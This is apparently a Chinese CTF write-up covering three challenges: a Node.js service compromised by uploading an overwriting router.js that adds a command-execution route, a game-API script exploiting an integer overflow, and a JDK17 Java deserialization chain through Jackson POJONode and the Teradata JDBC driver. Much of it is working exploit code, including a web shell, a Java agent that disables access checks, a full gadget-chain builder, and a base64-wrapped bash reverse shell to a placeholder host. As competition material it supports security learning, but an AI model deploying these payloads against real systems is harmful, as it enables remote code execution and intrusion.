WeCat 一个nodejs的服务,目的很明确,要rce。
文件上传?就算能传js文件也执行不了呀,先忽略。
前两个小时在熟悉代码,大部分时间在看webSocket,因为没接触过,想看看这里有没有rce。结果没有。
有mongodb服务,但就算数据库有洞,打的也是数据库在的机,不在当前web机,所以直接忽略。
后面没别的路可走,看看dockerfile,npm dev启动的,猜测这种模式是热加载文件的,文件或者目录有变化立刻加载。本地起了个,确实是这样。
所以思路就是上传文件,覆盖原有文件,添加一个恶意路由,再rce。
上传文件看能不能覆盖,可以。
覆盖这个到原有的router.js即可。
const router = require('@koa/router')() const commonRouter = require('./commonRouter') const routeAdmin = require('./admin') const routeLogin = require('./login') const routeUpload = require('./upload') router .use(routeLogin) .use(commonRouter) .use(routeUpload) .use(routeAdmin) router.post('/wechatAPI/test', async (ctx) => { ctx.body = "" await new Promise(resolve => { require("child_process").exec(ctx.request.body.cmd, (error, stdout, stderr) => { if (error) { ctx.body += error resolve() } ctx.body += stdout + stderr resolve() }) }) }) module.exports = router
通了
Javolution 先升级,到达50级了!
import timeimport requestsurl = "http://1.95.54.152:40957/pal" url1 = url + "/battle/depresso" print (url1)print (requests.get(url1).text)time.sleep(0.5 ) url3 = url + "/capture?name=mammorest" print (requests.get(url3).text)time.sleep(0.5 ) url4 = url + "/capture?name=Grizzbolt" print (requests.get(url4).text)time.sleep(0.5 ) url2 = url + "/cheat?hp=6000&defense=-2147483645" print (requests.get(url2).text)time.sleep(0.5 ) battle_jetragon = url + "/battle/jetragon" print (requests.get(battle_jetragon).text)battle_flag = url + "/battle/flag" print (requests.get(battle_flag).text)show = url + "/show" print (requests.get(show).text)
弄个子域名,记录值为127.0.0.1,可以过host。炫酷
jdk17。我草
Jdk 17 原本是无法反射修改私有属性的,我实现了一个Agent,改掉jdk17多出来的判断是否可以访问属性的方法,可以修改私有属性了。
下面是agent代码,顺便把POJO也加进去了
MyAgent
public class MyAgent { public static void premain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException { inst.addTransformer(new MyClassFileTransformer(),true ); Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class loadedClass : allLoadedClasses) { if ("com.fasterxml.jackson.databind.node.BaseJsonNode" .equals(loadedClass.getName()) || "java.lang.reflect.Field" .equals(loadedClass.getName())){ //重新transform inst.retransformClasses(loadedClass); } } } }
MyClassFileTransformer
public class MyClassFileTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){ String target1 = "com.fasterxml.jackson.databind.node.BaseJsonNode" ; String target4 = "java.lang.reflect.Field" ; String className2 = className.replace("/" , "." ); if (className2.equals(target1)) { System.out.println("Find the Inject Class: " +target1); ClassPool pool = ClassPool.getDefault(); try { CtClass c = pool.getCtClass(className2); System.out.println("hhhh" ); CtMethod ctMethod = c.getDeclaredMethod("writeReplace" ); c.removeMethod(ctMethod); byte[] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception e) { e.printStackTrace(); } } if (className2.equals(target4)) { System.out.println("Find the Inject Class: " +target4); ClassPool pool = ClassPool.getDefault(); try { CtClass c = pool.getCtClass(className2); System.out.println("hhhh" ); CtMethod ctMethod = c.getDeclaredMethod("setAccessible" ); ctMethod.setBody("{ java.lang.reflect.AccessibleObject.checkPermission();\n" + " if (false) checkCanSetAccessible(Reflection.getCallerClass());\n" + " setAccessible0($1 );}" ); byte[] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception e) { e.printStackTrace(); } } return new byte[0]; } }
之后加载agent,和java8一样修改私有属性就行。
Import TemplatesImpl,XString,提示程序包不存在,是因为JDK9之后多了一个module的问题,我们的module无法访问TemplatesImpl所在的module。
BadAttr的val属性,在java8是Object类型,在jdk17中是String类型。
链子入口EventListenerList,readObject->toString。
getter用POJONode。注意调getter时,要套一层JDKDynamicProxy,不然会报module错误,问就是测出来的。
还差一个getter -> rce。
目前的进度:能收到靶机的TeraDataSource#getConnection,就是不知道如何利用
后面debug源码,发现了RCE的位置。
路线:
TeraDataSourceBase.createNewConnection –> ConnectionFactory.createConnection new RawConnection —> RawConnection构造函数引用父类构造GenericTeradataConnection —> GenericTeradataConnection构造函数—>RCE
继续debug,然后自己搭数据库环境,甚至自己抓包,写恶意服务端,越到后面越不知道服务端怎么写。最后发现有现成的:
https://github.com/luelueking/Deserial_Sink_With_JDBC
我草。搓服务端搓了5个小时,给我们搓红温了。
搓的一半服务端,没啥用,纪念一下。
服务端起了直接发送反序列化数据过去就行。
exp
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception, IllegalAccessException { Field field = getField(obj.getClass(), fieldname); if (field == null) { throw new Exception("field " + fieldname + "not found!" ); } else { field.setAccessible(true ); field.set(obj, value); } } public static Field getField(Class<?> clazz, String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException var4) { if (clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } } return field; } public static Object unserialize(byte[] bytes) throws Exception { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); return in.readObject(); } public static byte[] serialize(Object obj) throws Exception { ByteArrayOutputStream bytes = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bytes); out.writeObject(obj); return bytes.toByteArray(); } public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception { Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true ); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler)cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{DataSource.class}, handler); return proxyObj; } public static void main( String[] args )throws Exception { PalDataSource palDataSource = new PalDataSource(); Object pojoNodeStableProxy = getPOJONodeStableProxy(palDataSource); POJONode jsonNodes = new POJONode(pojoNodeStableProxy); EventListenerList list = new EventListenerList(); UndoManager manager = new UndoManager(); Vector vector = (Vector) Util.getFieldValue(manager, "edits" ); vector.add(jsonNodes); setFieldValue(list, "listenerList" , new Object[]{InternalError.class, manager}); System.out.println(Util.URLEncode(Base64.getEncoder().encodeToString(serialize(list)))); }
PalDataSource
public class PalDataSource extends TeraDataSource { public PalDataSource (){ String cmd = "bash -i >&/dev/tcp/your_ip/16666 0>&1" ; String command = "bash -c {echo," +Base64.getEncoder().encodeToString(cmd.getBytes())+"}|{base64,-d}|{bash,-i}" ; System.out.println(command ); setBROWSER(command ); setLOGMECH("BROWSER" ); setDSName("your_ip" ); setDbsPort("10250" ); } @Override // com.teradata.jdbc.TeraDataSource, javax.sql.DataSource public Connection getConnection(String username, String password) throws SQLException { return super.getConnection(username, password); } @Override // com.teradata.jdbc.TeraDataSourceBase, javax.sql.CommonDataSource public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }